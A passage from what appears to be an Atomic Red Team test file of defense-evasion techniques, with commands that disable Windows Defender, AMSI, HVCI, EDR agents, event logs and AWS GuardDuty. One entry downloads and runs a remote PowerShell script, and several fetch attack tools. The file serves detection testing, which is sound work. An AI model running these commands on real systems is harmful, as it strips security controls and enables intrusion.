          New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableUnsafeLocationsInPV" -Value "1" -PropertyType "Dword"
          New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableAttachementsInPV" -Value "1" -PropertyType "Dword"
        cleanup_command: |
          Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -ErrorAction Ignore | Out-Null
          Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -ErrorAction Ignore
        name: powershell
    - name: Remove Windows Defender Definition Files
      auto_generated_guid: 3d47daaa-2f56-43e0-94cc-caf5d8d52a68
      description: |
        Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments.
        On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the
        command will say completed.

        https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
      supported_platforms:
      - windows
      executor:
        command: '"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions
          -All

          '
        name: command_prompt
        elevation_required: true
    - name: Stop and Remove Arbitrary Security Windows Service
      auto_generated_guid: ae753dda-0f15-4af6-a168-b9ba16143143
      description: 'Beginning with Powershell 6.0, the Stop-Service cmdlet sends a
        stop message to the Windows Service Controller for each of the specified services.
        The Remove-Service cmdlet removes a Windows service in the registry and in
        the service database.

        '
      supported_platforms:
      - windows
      input_arguments:
        service_name:
          description: The name of the service to remove
          type: string
          default: McAfeeDLPAgentService
      executor:
        command: |
          Stop-Service -Name #{service_name}
          Remove-Service -Name #{service_name}
        name: powershell
        elevation_required: true
    - name: Uninstall Crowdstrike Falcon on Windows
      auto_generated_guid: b32b1ccf-f7c1-49bc-9ddd-7d7466a7b297
      description: 'Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is
        not provided as an argument we need to search for it. Since the executable
        is located in a folder named with a random guid we need to identify it before
        invoking the uninstaller.

        '
      supported_platforms:
      - windows
      input_arguments:
        falcond_path:
          description: The Crowdstrike Windows Sensor path. The Guid always changes.
          type: path
          default: C:\ProgramData\Package Cache\{7489ba93-b668-447f-8401-7e57a6fe538d}\WindowsSensor.exe
      executor:
        command: if (Test-Path "#{falcond_path}") {. "#{falcond_path}" /repair /uninstall
          /quiet } else { Get-ChildItem -Path "C:\ProgramData\Package Cache" -Include
          "WindowsSensor.exe" -Recurse | % { $sig=$(Get-AuthenticodeSignature -FilePath
          $_.FullName); if ($sig.Status -eq "Valid" -and $sig.SignerCertificate.DnsNameList
          -eq "CrowdStrike, Inc.") { . "$_" /repair /uninstall /quiet; break;}}}
        name: powershell
        elevation_required: true
    - name: Tamper with Windows Defender Evade Scanning -Folder
      auto_generated_guid: 0b19f4ee-de90-4059-88cb-63c800c683ed
      description: "Malware can exclude a specific path from being scanned and evading
        detection. \nUpon successul execution, the file provided should be on the
        list of excluded path. \nTo check the exclusion list using poweshell (Get-MpPreference).ExclusionPath
        \n"
      supported_platforms:
      - windows
      input_arguments:
        excluded_folder:
          description: This folder will be excluded from scanning
          type: path
          default: C:\Temp
      executor:
        command: |-
          $excludedpath= "#{excluded_folder}"
          Add-MpPreference -ExclusionPath $excludedpath
        cleanup_command: |
          $excludedpath= "#{excluded_folder}"
          Remove-MpPreference -ExclusionPath $excludedpath
        name: powershell
        elevation_required: true
    - name: Tamper with Windows Defender Evade Scanning -Extension
      auto_generated_guid: 315f4be6-2240-4552-b3e1-d1047f5eecea
      description: "Malware can exclude specific extensions from being scanned and
        evading detection. \nUpon successful execution, the extension(s) should be
        on the list of excluded extensions.\nTo check the exclusion list using poweshell
        \ (Get-MpPreference).ExclusionExtension.\n"
      supported_platforms:
      - windows
      input_arguments:
        excluded_exts:
          description: A list of extension to exclude from scanning
          type: string
          default: ".exe"
      executor:
        command: |-
          $excludedExts= "#{excluded_exts}"
          Add-MpPreference -ExclusionExtension  $excludedExts
        cleanup_command: |
          $excludedExts= "#{excluded_exts}"
          Remove-MpPreference -ExclusionExtension  $excludedExts -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Tamper with Windows Defender Evade Scanning -Process
      auto_generated_guid: a123ce6a-3916-45d6-ba9c-7d4081315c27
      description: "Malware can exclude specific processes from being scanned and
        evading detection.\nUpon successful execution, the process(es) should be on
        the list of excluded processes. \nTo check the exclusion list using poweshell
        \ (Get-MpPreference).ExclusionProcess.\"\n"
      supported_platforms:
      - windows
      input_arguments:
        excluded_process:
          description: A list of processes to exclude from scanning
          type: string
          default: outlook.exe
      executor:
        command: |-
          $excludedProcess = "#{excluded_process}"
          Add-MpPreference -ExclusionProcess $excludedProcess
        cleanup_command: |
          $excludedProcess = "#{excluded_process}"
          Remove-MpPreference -ExclusionProcess  $excludedProcess
        name: powershell
        elevation_required: true
    - name: office-365-Disable-AntiPhishRule
      auto_generated_guid: b9bbae2c-2ba6-4cf3-b452-8e8f908696f3
      description: 'Using the Disable-AntiPhishRule cmdlet to disable antiphish rules
        in your office-365 organization.

        '
      supported_platforms:
      - office-365
      input_arguments:
        username:
          description: office-365 username
          type: string
          default: 
        password:
          description: office-365 password
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'ExchangeOnlineManagement PowerShell module must be installed

          '
        prereq_command: |
          $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}
        get_prereq_command: |
          Install-Module -Name ExchangeOnlineManagement
          Import-Module ExchangeOnlineManagement
      executor:
        command: |
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-ExchangeOnline -Credential $creds
          $test = Get-AntiPhishRule
          Disable-AntiPhishRule -Identity $test.Name -Confirm:$false
          Get-AntiPhishRule
        cleanup_command: "if(\"#{password}\" -ne \"\") {\n$secure_pwd = (\"#{password}\"
          + \"\") | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object
          System.Management.Automation.PSCredential -ArgumentList \"#{username}\",
          $secure_pwd\nConnect-ExchangeOnline -Credential $creds\n$test = Get-AntiPhishRule\nEnable-AntiPhishRule
          -Identity $test.Name -Confirm:$false\nGet-AntiPhishRule\n} \n"
        name: powershell
        elevation_required: false
    - name: Disable Windows Defender with DISM
      auto_generated_guid: 871438ac-7d6e-432a-b27d-3e7db69faf58
      description: "The following Atomic will attempt to disable Windows-Defender
        using the built in DISM.exe, Deployment Image Servicing and Management tool.
        \nDISM is used to enumerate, install, uninstall, configure, and update features
        and packages in Windows images.\nA successful execution will not standard-out
        any details. Remove the quiet switch if verbosity is needed.\nThis method
        will remove Defender and it's package.\n"
      supported_platforms:
      - windows
      executor:
        command: Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove
          /NoRestart /quiet
        name: command_prompt
        elevation_required: true
    - name: Disable Defender Using NirSoft AdvancedRun
      auto_generated_guid: 81ce22fd-9612-4154-918e-8a1f285d214d
      description: "Information on NirSoft AdvancedRun and its creators found here:
        http://www.nirsoft.net/utils/advanced_run.html\nThis Atomic will run AdvancedRun.exe
        with similar behavior identified during the WhisperGate campaign.\nSee https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3\nUpon
        successful execution, AdvancedRun.exe will attempt to run and stop Defender,
        and optionally attempt to delete the Defender folder on disk. \n"
      supported_platforms:
      - windows
      input_arguments:
        AdvancedRun_Location:
          description: Path of Advanced Run executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\AdvancedRun.exe
        delete_defender_folder:
          description: Set to 1 to also delete the Windows Defender folder
          type: integer
          default: 0
      dependency_executor_name: powershell
      dependencies:
      - description: 'Advancedrun.exe must exist at #{AdvancedRun_Location}

          '
        prereq_command: 'if(Test-Path -Path "#{AdvancedRun_Location}") {exit 0} else
          {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "http://www.nirsoft.net/utils/advancedrun.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\advancedrun.zip"
          Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\advancedrun.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\" -Force
      executor:
        command: |
          Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run} Catch{}
          if(#{delete_defender_folder}){
            $CommandToRun = rmdir "$env:programdata\Microsoft\Windows Defender" -Recurse
            Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\WindowsPowershell\v1.0\powershell.exe" /WindowState 0 /CommandLine "$CommandToRun" /StartDirectory "" /RunAs 8 /Run} Catch{}
          }
        cleanup_command: 'Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\sc.exe"
          /WindowState 0 /CommandLine "start WinDefend" /StartDirectory "" /RunAs
          8 /Run} Catch{}

          '
        name: powershell
        elevation_required: true
    - name: Kill antimalware protected processes using Backstab
      auto_generated_guid: 24a12b91-05a7-4deb-8d7f-035fa98591bc
      description: |-
        Backstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill.
        https://github.com/Yaxser/Backstab
      supported_platforms:
      - windows
      input_arguments:
        process_name:
          description: Name of the protected process you want to kill/terminate.
          type: string
          default: MsMpEng.exe
      dependency_executor_name: powershell
      dependencies:
      - description: Backstab64.exe should exist in ExtrnalPayloads Directory
        prereq_command: if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe")
          {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/Yaxser/Backstab/releases/download/v1.0.1-beta/Backstab64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe"
      executor:
        command: '& "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe" -k -n
          #{process_name}

          '
        name: powershell
        elevation_required: true
    - name: WinPwn - Kill the event log services for stealth
      auto_generated_guid: 7869d7a3-3a30-4d2c-a5d2-f1cd9c34ce66
      description: Kill the event log services for stealth via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object
          net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ninv-phantom
          -consoleoutput -noninteractive  "
        name: powershell
    - name: Tamper with Windows Defender ATP using Aliases - PowerShell
      auto_generated_guid: c531aa6e-9c97-4b29-afee-9b7be6fc8a64
      description: |
        Attempting to disable scheduled scanning and other parts of Windows Defender ATP using set-MpPreference aliases. Upon execution Virus and Threat Protection will show as disabled
        in Windows settings.
      supported_platforms:
      - windows
      executor:
        command: |
          Set-MpPreference -drtm $True
          Set-MpPreference -dbm $True
          Set-MpPreference -dscrptsc $True
          Set-MpPreference -dbaf $True
        cleanup_command: |
          Set-MpPreference -drtm 0
          Set-MpPreference -dbm 0
          Set-MpPreference -dscrptsc 0
          Set-MpPreference -dbaf 0
        name: powershell
        elevation_required: true
    - name: LockBit Black - Disable Privacy Settings Experience Using Registry -cmd
      auto_generated_guid: d6d22332-d07d-498f-aea0-6139ecb7850e
      description: 'LockBit Black - Disable Privacy Settings Experience Using Registry

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivacyExperience
          /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKCU\Software\Policies\Microsoft\Windows\OOBE"
          /v DisablePrivacyExperience /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: LockBit Black - Use Registry Editor to turn on automatic logon -cmd
      auto_generated_guid: 9719d0e1-4fe0-4b2e-9a72-7ad3ee8ddc70
      description: 'LockBit Black - Use Registry Editor to turn on automatic logon

        '
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_DWORD /d 1 /f
          reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Administrator /f
          reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName /t REG_SZ /d contoso.com /f
          reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d password1 /f
        cleanup_command: |
          reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /f >nul 2>&1
          reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /f >nul 2>&1
          reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName /f >nul 2>&1
          reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell
      auto_generated_guid: d8c57eaa-497a-4a08-961e-bd5efd7c9374
      description: 'LockBit Black - Disable Privacy Settings Experience Using Registry

        '
      supported_platforms:
      - windows
      executor:
        command: 'New-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE"
          -Name DisablePrivacyExperience -PropertyType DWord -Value 1 -Force

          '
        cleanup_command: 'Remove-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE"
          -Name DisablePrivacyExperience -Force -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell
      auto_generated_guid: 5e27f36d-5132-4537-b43b-413b0d5eec9a
      description: 'Lockbit Black - Use Registry Editor to turn on automatic logon

        '
      supported_platforms:
      - windows
      executor:
        command: |
          New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force
          New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -Value Administrator -Force
          New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -Value contoso.com -Force
          New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword  -Value password1 -Force
        cleanup_command: |
          Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -Force -ErrorAction Ignore
          Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -Force -ErrorAction Ignore
          Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -Force -ErrorAction Ignore
          Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -Force -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Disable Windows Defender with PwSh Disable-WindowsOptionalFeature
      auto_generated_guid: f542ffd3-37b4-4528-837f-682874faa012
      description: "The following Atomic will attempt to disable Windows-Defender
        using the built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment
        Image Servicing and Management tool. \nSimilar to DISM.exe, this cmdlet is
        used to enumerate, install, uninstall, configure, and update features and
        packages in Windows images.\nA successful execution will not standard-out
        any details. Remove the quiet switch if verbosity is needed.\nThis method
        will remove Defender and it's packages.\nReference: https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps\n"
      supported_platforms:
      - windows
      executor:
        command: |-
          Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Gui" -NoRestart -ErrorAction Ignore
          Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Features" -NoRestart -ErrorAction Ignore
          Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender" -NoRestart -ErrorAction Ignore
          Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-ApplicationGuard" -NoRestart -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: WMIC Tamper with Windows Defender Evade Scanning Folder
      auto_generated_guid: 59d386fc-3a4b-41b8-850d-9e3eee24dfe4
      description: |
        The following Atomic will attempt to exclude a folder within Defender leveraging WMI
        Reference: https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/
      supported_platforms:
      - windows
      executor:
        command: 'wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference
          call Add ExclusionPath=\"ATOMICREDTEAM\"

          '
        cleanup_command: 'wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class
          MSFT_MpPreference call Remove ExclusionPath=\"ATOMICREDTEAM\"

          '
        name: command_prompt
        elevation_required: true
    - name: Delete Windows Defender Scheduled Tasks
      auto_generated_guid: 4b841aa1-0d05-4b32-bbe7-7564346e7c76
      description: |
        The following atomic test will delete the Windows Defender scheduled tasks.

        [Reference](https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/)
      supported_platforms:
      - windows
      dependencies:
      - description: 'The Windows Defender scheduled tasks must be backed up first

          '
        prereq_command: 'IF EXIST "%temp%\Windows_Defender_Scheduled_Scan.xml" ( EXIT
          0 ) ELSE ( EXIT 1 )

          '
        get_prereq_command: |
          schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" > "%temp%\Windows_Defender_Scheduled_Scan.xml"
          schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" > "%temp%\Windows_Defender_Cleanup.xml"
          schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" > "%temp%\Windows_Defender_Verification.xml"
          schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" > "%temp%\Windows_Defender_Cache_Maintenance.xml"
      executor:
        command: |
          IF EXIST "%temp%\Windows_Defender_Scheduled_Scan.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f )
          IF EXIST "%temp%\Windows_Defender_Cleanup.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f )
          IF EXIST "%temp%\Windows_Defender_Verification.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /f )
          IF EXIST "%temp%\Windows_Defender_Cache_Maintenance.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f )
        cleanup_command: |
          schtasks /create /xml "%temp%\Windows_Defender_Scheduled_Scan.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
          schtasks /create /xml "%temp%\Windows_Defender_Cleanup.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
          schtasks /create /xml "%temp%\Windows_Defender_Verification.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
          schtasks /create /xml "%temp%\Windows_Defender_Cache_Maintenance.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        name: command_prompt
        elevation_required: true
    - name: Clear History
      auto_generated_guid: 23b88394-091b-4968-a42d-fb8076992443
      description: "Clear Shell History. This technique only affect the bash shell
        application. \n"
      supported_platforms:
      - linux
      executor:
        command: 'history -c

          '
        name: sh
        elevation_required: true
    - name: Suspend History
      auto_generated_guid: 94f6a1c9-aae7-46a4-9083-2bb1f5768ec4
      description: 'suspend Shell History seen in Awfulshred wiper- https://unix.stackexchange.com/questions/10922/temporarily-suspend-bash-history-on-a-given-shell

        '
      supported_platforms:
      - linux
      executor:
        command: 'set +o history

          '
        cleanup_command: 'set -o history

          '
        name: sh
        elevation_required: true
    - name: Reboot Linux Host via Kernel System Request
      auto_generated_guid: 6d6d3154-1a52-4d1a-9d51-92ab8148b32e
      description: 'reboot system via system request seen in Awfulshred wiper.

        '
      supported_platforms:
      - linux
      executor:
        command: "echo 1> /proc/sys/kernel/sysrq \necho b> /proc/sysrq-trigger \n"
        name: sh
        elevation_required: true
    - name: Clear Pagging Cache
      auto_generated_guid: f790927b-ea85-4a16-b7b2-7eb44176a510
      description: |
        clear pagging cache via system request. This is a temporary change in the system to clear paging cache. This technique seen in Awfulshred wiper as part
        of its malicious payload on the compromised host. added reference link for this technique: https://www.tecmint.com/clear-ram-memory-cache-buffer-and-swap-space-on-linux/
      supported_platforms:
      - linux
      executor:
        command: "free && echo 3 > /proc/sys/vm/drop_caches && free\necho 3> /proc/sys/vm/drop_caches
          \n"
        name: sh
        elevation_required: true
    - name: Disable Memory Swap
      auto_generated_guid: e74e4c63-6fde-4ad2-9ee8-21c3a1733114
      description: "disable swapping of device paging that impaire the compromised
        host to swap data if the RAM is full. Awfulshred wiper used this technique
        as an additional \npayload to the compromised host and to make sure that there
        will be no recoverable data due to swap feature of FreeBSD/linux.\n"
      supported_platforms:
      - linux
      executor:
        command: "swapon -a \nsleep 2\nswapoff -a\nsync\n"
        cleanup_command: |
          swapon -a
          sleep 2
          sync
        name: sh
        elevation_required: true
    - name: Disable Hypervisor-Enforced Code Integrity (HVCI)
      auto_generated_guid: 70bd71e6-eba4-4e00-92f7-617911dbe020
      description: "This test disables Hypervisor-Enforced Code Integrity (HVCI) by
        setting the registry key HKLM:\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity
        \"Enabled\" value to \"0\".\nThe pre-req needs to be ran in order to setup
        HVCI and have it enabled. \nWe do not recommend running this in production.\n[Black
        Lotus Campaign](https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/)\n[Microsoft](https://learn.microsoft.com/en-us/windows/security/threat-protection/device-guard/enable-virtualization-based-protection-of-code-integrity)\n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'HVCI must be enabled

          '
        prereq_command: 'if (((cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard"
          /v "EnableVirtualizationBasedSecurity" 2> nul | findstr EnableVirtualizationBasedSecurity
          2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard"
          /v "RequirePlatformSecurityFeatures" 2> nul | findstr RequirePlatformSecurityFeatures
          2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard"
          /v "Locked" 2> nul | findstr Locked 2> nul") -and (cmd.exe /c "reg query
          "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity"
          /v "Enabled" 2> nul | findstr Enabled 2> nul") -and (cmd.exe /c "reg query
          "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity"
          /v "Locked" 2> nul | findstr Locked 2> nul"))) { exit 0 } else { exit 1
          }

          '
        get_prereq_command: |
          reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /t REG_DWORD /d 1 /f
          reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" /t REG_DWORD /d 1 /f
          reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" /t REG_DWORD /d 0 /f
          reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 1 /f
          reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" /t REG_DWORD /d 0 /f
      executor:
        command: 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity"
          /v "Enabled" /t REG_DWORD /d 0 /f

          '
        cleanup_command: |
          reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /f
          reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" /f
          reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" /f
          reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /f
          reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" /f
        name: powershell
        elevation_required: true
    - name: AMSI Bypass - Override AMSI via COM
      auto_generated_guid: 17538258-5699-4ff1-92d1-5ac9b0dc21f5
      description: "With administrative rights, an adversary can disable AMSI via
        registry value in HKCU\\Software\\Classes\\CLSID\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}
        by overriding the Microsoft Defender COM object for AMSI and points it to
        a DLL that does not exist.\nThis is currently being used by AsyncRAT and others.
        \nhttps://strontic.github.io/xcyclopedia/library/clsid_fdb00e52-a214-4aa1-8fba-4357bb0072ec.html\nhttps://securitynews.sonicwall.com/xmlpost/asyncrat-variant-includes-cryptostealer-capabilites/\n"
      supported_platforms:
      - windows
      executor:
        command: 'REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32
          /ve /t REG_SZ /d C:\IDontExist.dll /f

          '
        cleanup_command: 'REG DELETE HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: AWS - GuardDuty Suspension or Deletion
      auto_generated_guid: 11e65d8d-e7e4-470e-a3ff-82bc56ad938e
      description: 'Enables GuardDuty in AWS, upon successful creation this test will
        suspend and then delete the GuardDuty configuration.

        '
      supported_platforms:
      - iaas:aws
      input_arguments:
        region:
          description: Name of the specified region
          type: string
          default: us-east-1
      dependency_executor_name: bash
      dependencies:
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

          '
        prereq_command: 'cat ~/.aws/credentials | grep "default"

          '
        get_prereq_command: 'echo "Please install the aws-cli and configure your AWS
          default profile using: aws configure"

          '
      executor:
        command: |
          detectorId=$(aws guardduty create-detector --enable --region "#{region}" | grep -oP '(?<="DetectorId": ")[^"]*')
          aws guardduty update-detector --no-enable --detector-id $detectorId
          aws guardduty delete-detector --detector-id $detectorId
        cleanup_command: 'echo "If test successfully ran, no cleanup required."

          '
        name: bash
        elevation_required: false
    - name: Tamper with Defender ATP on Linux/MacOS
      auto_generated_guid: 40074085-dbc8-492b-90a3-11bcfc52fda8
      description: 'With root privileges, an adversary can disable real time protection.
        Note, this test assumes Defender is not in passive mode and real-time protection
        is enabled. The use of a managed.json on Linux or Defender .plist on MacOS
        will prevent these changes. Tamper protection will also prevent this (available
        on MacOS, but not Linux at the time of writing). Installation of MDATP is
        a prerequisite. Installation steps vary across MacOS and Linux distros. See
        Microsoft public documentation for instructions: https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/mac-install-manually?view=o365-worldwide
        https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/linux-install-manually?view=o365-worldwide

        '
      supported_platforms:
      - linux
      - macos
      executor:
        command: 'sudo mdatp config real-time-protection --value disabled

          '
        cleanup_command: 'sudo mdatp config real-time-protection --value enabled

          '
        name: sh
        elevation_required: true
    - name: Tamper with Windows Defender Registry - Reg.exe
      auto_generated_guid: 1f6743da-6ecc-4a93-b03f-dc357e4b313f
      description: 'Disable Windows Defender by tampering with windows defender registry
        using the utility "reg.exe"

        '
      supported_platforms:
      - windows
      executor:
        command: "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\"
          /v \"DisableAntiSpyware\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows
          Defender\" /v \"DisableAntiVirus\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableBehaviorMonitoring\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableIntrusionPreventionSystem\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableIOAVProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add
          \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableOnAccessProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg
